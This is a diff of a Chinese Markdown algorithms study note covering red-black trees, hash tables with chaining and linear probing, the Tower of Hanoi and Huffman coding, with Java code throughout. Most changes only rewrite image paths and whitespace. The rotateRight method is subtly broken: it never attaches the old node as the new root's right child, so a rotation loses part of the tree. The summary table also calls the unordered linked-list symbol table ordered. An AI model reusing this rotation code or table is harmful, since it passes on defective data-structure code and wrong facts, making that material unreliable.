-红黑树是 2-3 查找树，但它不需要分别定义 2- 节点和 3- 节点，而是在普通的二叉查找树之上，为节点添加颜色。指向一个节点的链接颜色如果为红色，那么这个节点和上层节点表示的是一个 3- 节点，而黑色则是普通链接。
+红黑树是 2-3 查找树，但它不需要分别定义 2- 节点和 3- 节点，而是在普通的二叉查找树之上，为节点添加颜色。指向一个节点的链接颜色如果为红色，那么这个节点和上层节点表示的是一个 3- 节点，而黑色则是普通链接。
 
-<div align="center"> <img src="pics/4f48e806-f90b-4c09-a55f-ac0cd641c047.png" width="250"/> </div><br>
+<img src="index_files/4f48e806-f90b-4c09-a55f-ac0cd641c047.png" width="250"/>
 
 红黑树具有以下性质：
 
-- 红链接都为左链接；
-- 完美黑色平衡，即任意空链接到根节点的路径上的黑链接数量相同。
+- 红链接都为左链接；
+- 完美黑色平衡，即任意空链接到根节点的路径上的黑链接数量相同。
 
 画红黑树时可以将红链接画平。
 
-<div align="center"> <img src="pics/3086c248-b552-499e-b101-9cffe5c2773e.png" width="300"/> </div><br>
+<img src="index_files/3086c248-b552-499e-b101-9cffe5c2773e.png" width="300"/>
 
 ```java
-public class RedBlackBST<Key extends Comparable<Key>, Value> extends BST<Key, Value> {
+public class RedBlackBST<Key extends Comparable<Key>, Value> extends BST<Key, Value> {
 
-    private static final boolean RED = true;
-    private static final boolean BLACK = false;
+    private static final boolean RED = true;
+    private static final boolean BLACK = false;
 
-    private boolean isRed(Node x) {
-        if (x == null)
-            return false;
-        return x.color == RED;
-    }
+    private boolean isRed(Node x) {
+        if (x == null)
+            return false;
+        return x.color == RED;
+    }
 }
 ```
 
-### 1. 左旋转
+### 1. 左旋转
 
 因为合法的红链接都为左链接，如果出现右链接为红链接，那么就需要进行左旋转操作。
 
-<div align="center"> <img src="pics/9110c1a0-8a54-4145-a814-2477d0128114.png" width="450"/> </div><br>
+<img src="index_files/9110c1a0-8a54-4145-a814-2477d0128114.png" width="450"/>
 
 ```java
-public Node rotateLeft(Node h) {
-    Node x = h.right;
-    h.right = x.left;
-    x.left = h;
-    x.color = h.color;
-    h.color = RED;
-    x.N = h.N;
-    recalculateSize(h);
-    return x;
+public Node rotateLeft(Node h) {
+    Node x = h.right;
+    h.right = x.left;
+    x.left = h;
+    x.color = h.color;
+    h.color = RED;
+    x.N = h.N;
+    recalculateSize(h);
+    return x;
 }
 ```
 
-### 2. 右旋转
+### 2. 右旋转
 
 进行右旋转是为了转换两个连续的左红链接，这会在之后的插入过程中探讨。
 
-<div align="center"> <img src="pics/e2f0d889-2330-424c-8193-198edebecff7.png" width="450"/> </div><br>
+<img src="index_files/e2f0d889-2330-424c-8193-198edebecff7.png" width="450"/>
 
 ```java
-public Node rotateRight(Node h) {
-    Node x = h.left;
-    h.left = x.right;
-    x.color = h.color;
-    h.color = RED;
-    x.N = h.N;
-    recalculateSize(h);
-    return x;
+public Node rotateRight(Node h) {
+    Node x = h.left;
+    h.left = x.right;
+    x.color = h.color;
+    h.color = RED;
+    x.N = h.N;
+    recalculateSize(h);
+    return x;
 }
 ```
 
-### 3. 颜色转换
+### 3. 颜色转换
 
-一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外，同时需要将父节点的颜色由黑变红，从 2-3 树的角度看就是将中间节点移到上层节点。
+一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外，同时需要将父节点的颜色由黑变红，从 2-3 树的角度看就是将中间节点移到上层节点。
 
-<div align="center"> <img src="pics/af4639f9-af54-4400-aaf5-4e261d96ace7.png" width="300"/> </div><br>
+<img src="index_files/af4639f9-af54-4400-aaf5-4e261d96ace7.png" width="300"/>
 
 ```java
-void flipColors(Node h) {
-    h.color = RED;
-    h.left.color = BLACK;
-    h.right.color = BLACK;
+void flipColors(Node h) {
+    h.color = RED;
+    h.left.color = BLACK;
+    h.right.color = BLACK;
 }
 ```
 
-### 4. 插入
+### 4. 插入
 
 先将一个节点按二叉查找树的方法插入到正确位置，然后再进行如下颜色操作：
 
-- 如果右子节点是红色的而左子节点是黑色的，进行左旋转；
-- 如果左子节点是红色的，而且左子节点的左子节点也是红色的，进行右旋转；
-- 如果左右子节点均为红色的，进行颜色转换。
+- 如果右子节点是红色的而左子节点是黑色的，进行左旋转；
+- 如果左子节点是红色的，而且左子节点的左子节点也是红色的，进行右旋转；
+- 如果左右子节点均为红色的，进行颜色转换。
 
-<div align="center"> <img src="pics/08427d38-8df1-49a1-8990-e0ce5ee36ca2.png" width="400"/> </div><br>
+<img src="index_files/08427d38-8df1-49a1-8990-e0ce5ee36ca2.png" width="400"/>
 
 ```java
 @Override
-public void put(Key key, Value value) {
-    root = put(root, key, value);
-    root.color = BLACK;
+public void put(Key key, Value value) {
+    root = put(root, key, value);
+    root.color = BLACK;
 }
 
-private Node put(Node x, Key key, Value value) {
-    if (x == null) {
-        Node node = new Node(key, value, 1);
-        node.color = RED;
-        return node;
-    }
-    int cmp = key.compareTo(x.key);
-    if (cmp == 0)
-        x.val = value;
-    else if (cmp < 0)
-        x.left = put(x.left, key, value);
-    else
-        x.right = put(x.right, key, value);
+private Node put(Node x, Key key, Value value) {
+    if (x == null) {
+        Node node = new Node(key, value, 1);
+        node.color = RED;
+        return node;
+    }
+    int cmp = key.compareTo(x.key);
+    if (cmp == 0)
+        x.val = value;
+    else if (cmp < 0)
+        x.left = put(x.left, key, value);
+    else
+        x.right = put(x.right, key, value);
 
-    if (isRed(x.right) && !isRed(x.left))
-        x = rotateLeft(x);
-    if (isRed(x.left) && isRed(x.left.left))
-        x = rotateRight(x);
-    if (isRed(x.left) && isRed(x.right))
-        flipColors(x);
+    if (isRed(x.right) && !isRed(x.left))
+        x = rotateLeft(x);
+    if (isRed(x.left) && isRed(x.left.left))
+        x = rotateRight(x);
+    if (isRed(x.left) && isRed(x.right))
+        flipColors(x);
 
-    recalculateSize(x);
-    return x;
+    recalculateSize(x);
+    return x;
 }
 ```
 
 可以看到该插入操作和二叉查找树的插入操作类似，只是在最后加入了旋转和颜色变换操作即可。
 
-根节点一定为黑色，因为根节点没有上层节点，也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色，每当根节点由红色变成黑色时树的黑链接高度加 1.
+根节点一定为黑色，因为根节点没有上层节点，也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色，每当根节点由红色变成黑色时树的黑链接高度加 1.
 
-### 5. 分析
+### 5. 分析
 
-一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树，构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。
+一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树，构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。
 
 红黑树大多数的操作所需要的时间都是对数级别的。
 
-## 散列表
+## 散列表
 
 散列表类似于数组，可以把散列表的散列值看成数组的索引值。访问散列表和访问数组元素一样快速，它可以在常数时间内实现查找和插入操作。
 
 由于无法通过散列值知道键的大小关系，因此散列表无法实现有序性操作。
 
-### 1. 散列函数
+### 1. 散列函数
 
-对于一个大小为 M 的散列表，散列函数能够把任意键转换为 [0, M-1] 内的正整数，该正整数即为 hash 值。
+对于一个大小为 M 的散列表，散列函数能够把任意键转换为 [0, M-1] 内的正整数，该正整数即为 hash 值。
 
-散列表存在冲突，也就是两个不同的键可能有相同的 hash 值。
+散列表存在冲突，也就是两个不同的键可能有相同的 hash 值。
 
 散列函数应该满足以下三个条件：
 
-- 一致性：相等的键应当有相等的 hash 值，两个键相等表示调用 equals() 返回的值相等。
-- 高效性：计算应当简便，有必要的话可以把 hash 值缓存起来，在调用 hash 函数时直接返回。
-- 均匀性：所有键的 hash 值应当均匀地分布到 [0, M-1] 之间，如果不能满足这个条件，有可能产生很多冲突，从而导致散列表的性能下降。
+- 一致性：相等的键应当有相等的 hash 值，两个键相等表示调用 equals() 返回的值相等。
+- 高效性：计算应当简便，有必要的话可以把 hash 值缓存起来，在调用 hash 函数时直接返回。
+- 均匀性：所有键的 hash 值应当均匀地分布到 [0, M-1] 之间，如果不能满足这个条件，有可能产生很多冲突，从而导致散列表的性能下降。
 
-除留余数法可以将整数散列到 [0, M-1] 之间，例如一个正整数 k，计算 k%M 既可得到一个 [0, M-1] 之间的 hash 值。注意 M 必须是一个素数，否则无法利用键包含的所有信息。例如 M 为 10<sup>k</sup>，那么只能利用键的后 k 位。
+除留余数法可以将整数散列到 [0, M-1] 之间，例如一个正整数 k，计算 k%M 既可得到一个 [0, M-1] 之间的 hash 值。注意 M 必须是一个素数，否则无法利用键包含的所有信息。例如 M 为 10<sup>k</sup>，那么只能利用键的后 k 位。
 
 对于其它数，可以将其转换成整数的形式，然后利用除留余数法。例如对于浮点数，可以将其的二进制形式转换成整数。
 
-对于多部分组合的类型，每个部分都需要计算 hash 值，这些 hash 值都具有同等重要的地位。为了达到这个目的，可以将该类型看成 R 进制的整数，每个部分都具有不同的权值。
+对于多部分组合的类型，每个部分都需要计算 hash 值，这些 hash 值都具有同等重要的地位。为了达到这个目的，可以将该类型看成 R 进制的整数，每个部分都具有不同的权值。
 
 例如，字符串的散列函数实现如下：
 
 ```java
-int hash = 0;
-for (int i = 0; i < s.length(); i++)
-    hash = (R * hash + s.charAt(i)) % M;
+int hash = 0;
+for (int i = 0; i < s.length(); i++)
+    hash = (R * hash + s.charAt(i)) % M;
 ```
 
 再比如，拥有多个成员的自定义类的哈希函数如下：
 
 ```java
-int hash = (((day * R + month) % M) * R + year) % M;
+int hash = (((day * R + month) % M) * R + year) % M;
 ```
 
-R 通常取 31。
+R 通常取 31。
 
-Java 中的 hashCode() 实现了哈希函数，但是默认使用对象的内存地址值。在使用 hashCode() 时，应当结合除留余数法来使用。因为内存地址是 32 位整数，我们只需要 31 位的非负整数，因此应当屏蔽符号位之后再使用除留余数法。
+Java 中的 hashCode() 实现了哈希函数，但是默认使用对象的内存地址值。在使用 hashCode() 时，应当结合除留余数法来使用。因为内存地址是 32 位整数，我们只需要 31 位的非负整数，因此应当屏蔽符号位之后再使用除留余数法。
 
 ```java
-int hash = (x.hashCode() & 0x7fffffff) % M;
+int hash = (x.hashCode() & 0x7fffffff) % M;
 ```
 
-使用 Java 的 HashMap 等自带的哈希表实现时，只需要去实现 Key 类型的 hashCode() 函数即可。Java 规定 hashCode() 能够将键均匀分布于所有的 32 位整数，Java 中的 String、Integer 等对象的 hashCode() 都能实现这一点。以下展示了自定义类型如何实现 hashCode()：
+使用 Java 的 HashMap 等自带的哈希表实现时，只需要去实现 Key 类型的 hashCode() 函数即可。Java 规定 hashCode() 能够将键均匀分布于所有的 32 位整数，Java 中的 String、Integer 等对象的 hashCode() 都能实现这一点。以下展示了自定义类型如何实现 hashCode()：
 
 ```java
-public class Transaction {
+public class Transaction {
 
-    private final String who;
-    private final Date when;
-    private final double amount;
+    private final String who;
+    private final Date when;
+    private final double amount;
 
-    public Transaction(String who, Date when, double amount) {
-        this.who = who;
-        this.when = when;
-        this.amount = amount;
-    }
+    public Transaction(String who, Date when, double amount) {
+        this.who = who;
+        this.when = when;
+        this.amount = amount;
+    }
 
-    public int hashCode() {
-        int hash = 17;
-        int R = 31;
-        hash = R * hash + who.hashCode();
-        hash = R * hash + when.hashCode();
-        hash = R * hash + ((Double) amount).hashCode();
-        return hash;
-    }
+    public int hashCode() {
+        int hash = 17;
+        int R = 31;
+        hash = R * hash + who.hashCode();
+        hash = R * hash + when.hashCode();
+        hash = R * hash + ((Double) amount).hashCode();
+        return hash;
+    }
 }
 ```
 
-### 2. 拉链法
+### 2. 拉链法
 
-拉链法使用链表来存储 hash 值相同的键，从而解决冲突。
+拉链法使用链表来存储 hash 值相同的键，从而解决冲突。
 
-查找需要分两步，首先查找 Key 所在的链表，然后在链表中顺序查找。
+查找需要分两步，首先查找 Key 所在的链表，然后在链表中顺序查找。
 
-对于 N 个键，M 条链表 (N>M)，如果哈希函数能够满足均匀性的条件，每条链表的大小趋向于 N/M，因此未命中的查找和插入操作所需要的比较次数为 \~N/M。
+对于 N 个键，M 条链表 (N>M)，如果哈希函数能够满足均匀性的条件，每条链表的大小趋向于 N/M，因此未命中的查找和插入操作所需要的比较次数为 ~N/M。
 
-<div align="center"> <img src="pics/b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="300"/> </div><br>
+<img src="index_files/b4252c85-6fb0-4995-9a68-a1a5925fbdb1.png" width="300"/>
 
-### 3. 线性探测法
+### 3. 线性探测法
 
 线性探测法使用空位来解决冲突，当冲突发生时，向前探测一个空位来存储冲突的键。
 
-使用线性探测法，数组的大小 M 应当大于键的个数 N（M>N)。
+使用线性探测法，数组的大小 M 应当大于键的个数 N（M>N)。
 
-<div align="center"> <img src="pics/dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png" width="400"/> </div><br>
+<img src="index_files/dbb8516d-37ba-4e2c-b26b-eefd7de21b45.png" width="400"/>
 
 ```java
-public class LinearProbingHashST<Key, Value> implements UnorderedST<Key, Value> {
+public class LinearProbingHashST<Key, Value> implements UnorderedST<Key, Value> {
 
-    private int N = 0;
-    private int M = 16;
-    private Key[] keys;
-    private Value[] values;
+    private int N = 0;
+    private int M = 16;
+    private Key[] keys;
+    private Value[] values;
 
-    public LinearProbingHashST() {
-        init();
-    }
+    public LinearProbingHashST() {
+        init();
+    }
 
-    public LinearProbingHashST(int M) {
-        this.M = M;
-        init();
-    }
+    public LinearProbingHashST(int M) {
+        this.M = M;
+        init();
+    }
 
-    private void init() {
-        keys = (Key[]) new Object[M];
-        values = (Value[]) new Object[M];
-    }
+    private void init() {
+        keys = (Key[]) new Object[M];
+        values = (Value[]) new Object[M];
+    }
 
-    private int hash(Key key) {
-        return (key.hashCode() & 0x7fffffff) % M;
-    }
+    private int hash(Key key) {
+        return (key.hashCode() & 0x7fffffff) % M;
+    }
 }
 ```
 
-#### 3.1 查找
+#### 3.1 查找
 
 ```java
-public Value get(Key key) {
-    for (int i = hash(key); keys[i] != null; i = (i + 1) % M)
-        if (keys[i].equals(key))
-            return values[i];
+public Value get(Key key) {
+    for (int i = hash(key); keys[i] != null; i = (i + 1) % M)
+        if (keys[i].equals(key))
+            return values[i];
 
-    return null;
+    return null;
 }
 ```
 
-#### 3.2 插入
+#### 3.2 插入
 
 ```java
-public void put(Key key, Value value) {
-    resize();
-    putInternal(key, value);
+public void put(Key key, Value value) {
+    resize();
+    putInternal(key, value);
 }
 
-private void putInternal(Key key, Value value) {
-    int i;
-    for (i = hash(key); keys[i] != null; i = (i + 1) % M)
-        if (keys[i].equals(key)) {
-            values[i] = value;
-            return;
-        }
+private void putInternal(Key key, Value value) {
+    int i;
+    for (i = hash(key); keys[i] != null; i = (i + 1) % M)
+        if (keys[i].equals(key)) {
+            values[i] = value;
+            return;
+        }
 
-    keys[i] = key;
-    values[i] = value;
-    N++;
+    keys[i] = key;
+    values[i] = value;
+    N++;
 }
 ```
 
-#### 3.3 删除
+#### 3.3 删除
 
 删除操作应当将右侧所有相邻的键值对重新插入散列表中。
 
 ```java
-public void delete(Key key) {
-    int i = hash(key);
-    while (keys[i] != null && !key.equals(keys[i]))
-        i = (i + 1) % M;
+public void delete(Key key) {
+    int i = hash(key);
+    while (keys[i] != null && !key.equals(keys[i]))
+        i = (i + 1) % M;
 
-    // 不存在，直接返回
-    if (keys[i] == null)
-        return;
+    // 不存在，直接返回
+    if (keys[i] == null)
+        return;
 
-    keys[i] = null;
-    values[i] = null;
+    keys[i] = null;
+    values[i] = null;
 
-    // 将之后相连的键值对重新插入
-    i = (i + 1) % M;
-    while (keys[i] != null) {
-        Key keyToRedo = keys[i];
-        Value valToRedo = values[i];
-        keys[i] = null;
-        values[i] = null;
-        N--;
-        putInternal(keyToRedo, valToRedo);
-        i = (i + 1) % M;
-    }
-    N--;
-    resize();
+    // 将之后相连的键值对重新插入
+    i = (i + 1) % M;
+    while (keys[i] != null) {
+        Key keyToRedo = keys[i];
+        Value valToRedo = values[i];
+        keys[i] = null;
+        values[i] = null;
+        N--;
+        putInternal(keyToRedo, valToRedo);
+        i = (i + 1) % M;
+    }
+    N--;
+    resize();
 }
 ```
 
-#### 3.5 调整数组大小
+#### 3.5 调整数组大小
 
-线性探测法的成本取决于连续条目的长度，连续条目也叫聚簇。当聚簇很长时，在查找和插入时也需要进行很多次探测。例如下图中 2\~5 位置就是一个聚簇。
+线性探测法的成本取决于连续条目的长度，连续条目也叫聚簇。当聚簇很长时，在查找和插入时也需要进行很多次探测。例如下图中 2~5 位置就是一个聚簇。
 
-<div align="center"> <img src="pics/386cd64f-7a9d-40e6-8c55-22b90ee2d258.png" width="400"/> </div><br>
+<img src="index_files/386cd64f-7a9d-40e6-8c55-22b90ee2d258.png" width="400"/>
 
-α = N/M，把 α 称为使用率。理论证明，当 α 小于 1/2 时探测的预计次数只在 1.5 到 2.5 之间。为了保证散列表的性能，应当调整数组的大小，使得 α 在 [1/4, 1/2] 之间。
+α = N/M，把 α 称为使用率。理论证明，当 α 小于 1/2 时探测的预计次数只在 1.5 到 2.5 之间。为了保证散列表的性能，应当调整数组的大小，使得 α 在 [1/4, 1/2] 之间。
 
 ```java
-private void resize() {
-    if (N >= M / 2)
-        resize(2 * M);
-    else if (N <= M / 8)
-        resize(M / 2);
+private void resize() {
+    if (N >= M / 2)
+        resize(2 * M);
+    else if (N <= M / 8)
+        resize(M / 2);
 }
 
-private void resize(int cap) {
-    LinearProbingHashST<Key, Value> t = new LinearProbingHashST<Key, Value>(cap);
-    for (int i = 0; i < M; i++)
-        if (keys[i] != null)
-            t.putInternal(keys[i], values[i]);
+private void resize(int cap) {
+    LinearProbingHashST<Key, Value> t = new LinearProbingHashST<Key, Value>(cap);
+    for (int i = 0; i < M; i++)
+        if (keys[i] != null)
+            t.putInternal(keys[i], values[i]);
 
-    keys = t.keys;
-    values = t.values;
-    M = t.M;
+    keys = t.keys;
+    values = t.values;
+    M = t.M;
 }
 ```
 
-## 小结
+## 小结
 
-### 1. 符号表算法比较
+### 1. 符号表算法比较
 
-| 算法 | 插入 | 查找 | 是否有序 |
-| :---: | :---: | :---: | :---: |
-| 链表实现的无序符号表 | N | N | yes |
-| 二分查找实现的有序符号表 | N | logN | yes |
-| 二叉查找树 | logN | logN | yes |
-| 2-3 查找树 | logN | logN | yes |
-| 拉链法实现的散列表 | N/M | N/M | no |
-| 线性探测法实现的散列表 | 1 | 1 | no |
+| 算法 | 插入 | 查找 | 是否有序 |
+| :---: | :---: | :---: | :---: |
+| 链表实现的无序符号表 | N | N | yes |
+| 二分查找实现的有序符号表 | N | logN | yes |
+| 二叉查找树 | logN | logN | yes |
+| 2-3 查找树 | logN | logN | yes |
+| 拉链法实现的散列表 | N/M | N/M | no |
+| 线性探测法实现的散列表 | 1 | 1 | no |
 
 应当优先考虑散列表，当需要有序性操作时使用红黑树。
 
-### 2. Java 的符号表实现
+### 2. Java 的符号表实现
 
-- java.util.TreeMap：红黑树
-- java.util.HashMap：拉链法的散列表
+- java.util.TreeMap：红黑树
+- java.util.HashMap：拉链法的散列表
 
-### 3. 稀疏向量乘法
+### 3. 稀疏向量乘法
 
-当向量为稀疏向量时，可以使用符号表来存储向量中的非 0 索引和值，使得乘法运算只需要对那些非 0 元素进行即可。
+当向量为稀疏向量时，可以使用符号表来存储向量中的非 0 索引和值，使得乘法运算只需要对那些非 0 元素进行即可。
 
 ```java
-public class SparseVector {
-    private HashMap<Integer, Double> hashMap;
+public class SparseVector {
+    private HashMap<Integer, Double> hashMap;
 
-    public SparseVector(double[] vector) {
-        hashMap = new HashMap<>();
-        for (int i = 0; i < vector.length; i++)
-            if (vector[i] != 0)
-                hashMap.put(i, vector[i]);
-    }
+    public SparseVector(double[] vector) {
+        hashMap = new HashMap<>();
+        for (int i = 0; i < vector.length; i++)
+            if (vector[i] != 0)
+                hashMap.put(i, vector[i]);
+    }
 
-    public double get(int i) {
-        return hashMap.getOrDefault(i, 0.0);
-    }
+    public double get(int i) {
+        return hashMap.getOrDefault(i, 0.0);
+    }
 
-    public double dot(SparseVector other) {
-        double sum = 0;
-        for (int i : hashMap.keySet())
-            sum += this.get(i) * other.get(i);
-        return sum;
-    }
+    public double dot(SparseVector other) {
+        double sum = 0;
+        for (int i : hashMap.keySet())
+            sum += this.get(i) * other.get(i);
+        return sum;
+    }
 }
 ```
 
-# 七、其它
+# 七、其它
 
-## 汉诺塔
+## 汉诺塔
 
-<div align="center"> <img src="pics/54f1e052-0596-4b5e-833c-e80d75bf3f9b.png" width="300"/> </div><br>
+<img src="index_files/54f1e052-0596-4b5e-833c-e80d75bf3f9b.png" width="300"/>
 
-有三个柱子，分别为 from、buffer、to。需要将 from 上的圆盘全部移动到 to 上，并且要保证小圆盘始终在大圆盘上。
+有三个柱子，分别为 from、buffer、to。需要将 from 上的圆盘全部移动到 to 上，并且要保证小圆盘始终在大圆盘上。
 
 这是一个经典的递归问题，分为三步求解：
 
-① 将 n-1 个圆盘从 from -> buffer
+① 将 n-1 个圆盘从 from -> buffer
 
-<div align="center"> <img src="pics/8587132a-021d-4f1f-a8ec-5a9daa7157a7.png" width="300"/> </div><br>
+<img src="index_files/8587132a-021d-4f1f-a8ec-5a9daa7157a7.png" width="300"/>
 
-② 将 1 个圆盘从 from -> to
+② 将 1 个圆盘从 from -> to
 
-<div align="center"> <img src="pics/2861e923-4862-4526-881c-15529279d49c.png" width="300"/> </div><br>
+<img src="index_files/2861e923-4862-4526-881c-15529279d49c.png" width="300"/>
 
-③ 将 n-1 个圆盘从 buffer -> to
+③ 将 n-1 个圆盘从 buffer -> to
 
-<div align="center"> <img src="pics/1c4e8185-8153-46b6-bd5a-288b15feeae6.png" width="300"/> </div><br>
+<img src="index_files/1c4e8185-8153-46b6-bd5a-288b15feeae6.png" width="300"/>
 
 如果只有一个圆盘，那么只需要进行一次移动操作。
 
-从上面的讨论可以知道，a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1，显然 a<sub>n</sub> = 2<sup>n</sup> - 1，n 个圆盘需要移动 2<sup>n</sup> - 1 次。
+从上面的讨论可以知道，a<sub>n</sub> = 2 * a<sub>n-1</sub> + 1，显然 a<sub>n</sub> = 2<sup>n</sup> - 1，n 个圆盘需要移动 2<sup>n</sup> - 1 次。
 
 ```java
-public class Hanoi {
-    public static void move(int n, String from, String buffer, String to) {
-        if (n == 1) {
-            System.out.println("from " + from + " to " + to);
-            return;
-        }
-        move(n - 1, from, to, buffer);
-        move(1, from, buffer, to);
-        move(n - 1, buffer, from, to);
-    }
+public class Hanoi {
+    public static void move(int n, String from, String buffer, String to) {
+        if (n == 1) {
+            System.out.println("from " + from + " to " + to);
+            return;
+        }
+        move(n - 1, from, to, buffer);
+        move(1, from, buffer, to);
+        move(n - 1, buffer, from, to);
+    }
 
-    public static void main(String[] args) {
-        Hanoi.move(3, "H1", "H2", "H3");
-    }
+    public static void main(String[] args) {
+        Hanoi.move(3, "H1", "H2", "H3");
+    }
 }
 ```
 
 ```html
-from H1 to H3
-from H1 to H2
-from H3 to H2
-from H1 to H3
-from H2 to H1
-from H2 to H3
-from H1 to H3
+from H1 to H3
+from H1 to H2
+from H3 to H2
+from H1 to H3
+from H2 to H1
+from H2 to H3
+from H1 to H3
 ```
 
-## 哈夫曼编码
+## 哈夫曼编码
 
 根据数据出现的频率对数据进行编码，从而压缩原始数据。
 
 例如对于一个文本文件，其中各种字符出现的次数如下：
 
-- a : 10
-- b : 20
-- c : 40
-- d : 80
+- a : 10
+- b : 20
+- c : 40
+- d : 80
 
-可以将每种字符转换成二进制编码，例如将 a 转换为 00，b 转换为 01，c 转换为 10，d 转换为 11。这是最简单的一种编码方式，没有考虑各个字符的权值（出现频率）。而哈夫曼编码采用了贪心策略，使出现频率最高的字符的编码最短，从而保证整体的编码长度最短。
+可以将每种字符转换成二进制编码，例如将 a 转换为 00，b 转换为 01，c 转换为 10，d 转换为 11。这是最简单的一种编码方式，没有考虑各个字符的权值（出现频率）。而哈夫曼编码采用了贪心策略，使出现频率最高的字符的编码最短，从而保证整体的编码长度最短。
 
 首先生成一颗哈夫曼树，每次生成过程中选取频率最少的两个节点，生成一个新节点作为它们的父节点，并且新节点的频率为两个节点的和。选取频率最少的原因是，生成过程使得先选取的节点位于树的更低层，那么需要的编码长度更长，频率更少可以使得总编码长度更少。
 
-生成编码时，从根节点出发，向左遍历则添加二进制位 0，向右则添加二进制位 1，直到遍历到叶子节点，叶子节点代表的字符的编码就是这个路径编码。
+生成编码时，从根节点出发，向左遍历则添加二进制位 0，向右则添加二进制位 1，直到遍历到叶子节点，叶子节点代表的字符的编码就是这个路径编码。
 
-<div align="center"> <img src="pics/3ff4f00a-2321-48fd-95f4-ce6001332151.png" width="400"/> </div><br>
+<img src="index_files/3ff4f00a-2321-48fd-95f4-ce6001332151.png" width="400"/>
 
 ```java
-public class Huffman {
+public class Huffman {
 
-    private class Node implements Comparable<Node> {
-        char ch;
-        int freq;
-        boolean isLeaf;
-        Node left, right;
+    private class Node implements Comparable<Node> {
+        char ch;
+        int freq;
+        boolean isLeaf;
+        Node left, right;
 
-        public Node(char ch, int freq) {
-            this.ch = ch;
-            this.freq = freq;
-            isLeaf = true;
-        }
+        public Node(char ch, int freq) {
+            this.ch = ch;
+            this.freq = freq;
+            isLeaf = true;
+        }
 
-        public Node(Node left, Node right, int freq) {
-            this.left = left;
-            this.right = right;
-            this.freq = freq;
-            isLeaf = false;
-        }
+        public Node(Node left, Node right, int freq) {
+            this.left = left;
+            this.right = right;
+            this.freq = freq;
+            isLeaf = false;
+        }
 
-        @Override
-        public int compareTo(Node o) {
-            return this.freq - o.freq;
-        }
-    }
+        @Override
+        public int compareTo(Node o) {
+            return this.freq - o.freq;
+        }
+    }
 
-    public Map<Character, String> encode(Map<Character, Integer> frequencyForChar) {
-        PriorityQueue<Node> priorityQueue = new PriorityQueue<>();
-        for (Character c : frequencyForChar.keySet()) {
-            priorityQueue.add(new Node(c, frequencyForChar.get(c)));
-        }
-        while (priorityQueue.size() != 1) {
-            Node node1 = priorityQueue.poll();
-            Node node2 = priorityQueue.poll();
-            priorityQueue.add(new Node(node1, node2, node1.freq + node2.freq));
-        }
-        return encode(priorityQueue.poll());
-    }
+    public Map<Character, String> encode(Map<Character, Integer> frequencyForChar) {
+        PriorityQueue<Node> priorityQueue = new PriorityQueue<>();
+        for (Character c : frequencyForChar.keySet()) {
+            priorityQueue.add(new Node(c, frequencyForChar.get(c)));
+        }
+        while (priorityQueue.size() != 1) {
+            Node node1 = priorityQueue.poll();
+            Node node2 = priorityQueue.poll();
+            priorityQueue.add(new Node(node1, node2, node1.freq + node2.freq));
+        }
+        return encode(priorityQueue.poll());
+    }
 
-    private Map<Character, String> encode(Node root) {
-        Map<Character, String> encodingForChar = new HashMap<>();
-        encode(root, "", encodingForChar);
-        return encodingForChar;
-    }
+    private Map<Character, String> encode(Node root) {
+        Map<Character, String> encodingForChar = new HashMap<>();
+        encode(root, "", encodingForChar);
+        return encodingForChar;
+    }
 
-    private void encode(Node node, String encoding, Map<Character, String> encodingForChar) {
-        if (node.isLeaf) {
-            encodingForChar.put(node.ch, encoding);
-            return;
-        }
-        encode(node.left, encoding + '0', encodingForChar);
-        encode(node.right, encoding + '1', encodingForChar);
-    }
+    private void encode(Node node, String encoding, Map<Character, String> encodingForChar) {
+        if (node.isLeaf) {
+            encodingForChar.put(node.ch, encoding);
+            return;
+        }
+        encode(node.left, encoding + '0', encodingForChar);
+        encode(node.right, encoding + '1', encodingForChar);
+    }
 }
 ```
 
-# 参考资料
+# 参考资料
 
-- Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.
+- Sedgewick, Robert, and Kevin Wayne. _Algorithms_. Addison-Wesley Professional, 2011.
 
+---bottom---CyC---
+![](index_files/766aedd0-1b00-4065-aa2b-7d31138df84f.png)
+![](index_files/37e79a32-95a9-4503-bdb1-159527e628b8.png)
+![](index_files/1a2f2998-d0da-41c8-8222-1fd95083a66b.png)
+![](index_files/2a8e1442-2381-4439-a83f-0312c8678b1f.png)
+![](index_files/0157d362-98dd-4e51-ac26-00ecb76beb3e.png)
+![](index_files/220790c6-4377-4a2e-8686-58398afc8a18.png)
+![](index_files/f8047846-efd4-42be-b6b7-27a7c4998b51.png)
+![](index_files/864bfa7d-1149-420c-a752-f9b3d4e782ec.png)
+![](index_files/f3080f83-6239-459b-8e9c-03b6641f7815.png)
+![](index_files/33ac2b23-cb85-4e99-bc41-b7b7199fad1c.png)
+![](index_files/72f0ff69-138d-4e54-b7ac-ebe025d978dc.png)
+![](index_files/b84ba6fb-312b-4e69-8c77-fb6eb6fb38d4.png)
+![](index_files/51fb761d-8ce0-4472-92ff-2f227ac7888a.png)
+![](index_files/b20a3466-44b4-445e-87c7-dd4fb9ef44b2.png)
+![](index_files/9d0a637c-6a8f-4f5a-99b9-fdcfa26793ff.png)
+![](index_files/8f0cc500-5994-4c7a-91a9-62885d658662.png)
+![](index_files/5d4a5181-65fb-4bf2-a9c6-899cab534b44.png)
+![](index_files/bfbb11e2-d208-4efa-b97b-24cd40467cd8.png)
+![](index_files/a4c17d43-fa5e-4935-b74e-147e7f7e782c.png)
+![](index_files/f9f9f993-8ece-4da7-b848-af9b438fad76.png)
+![](index_files/8ae4550b-f0cb-4e4d-9e2b-c550538bf230.png)
+![](index_files/fbe54203-c005-48f0-8883-b05e564a3173.png)
+![](index_files/107a6a2b-f15b-4cad-bced-b7fb95258c9c.png)
+![](index_files/4d741402-344d-4b7c-be01-e57184bcad0e.png)
+![](index_files/be7dca03-12ec-456b-8b54-b1b3161f5531.png)
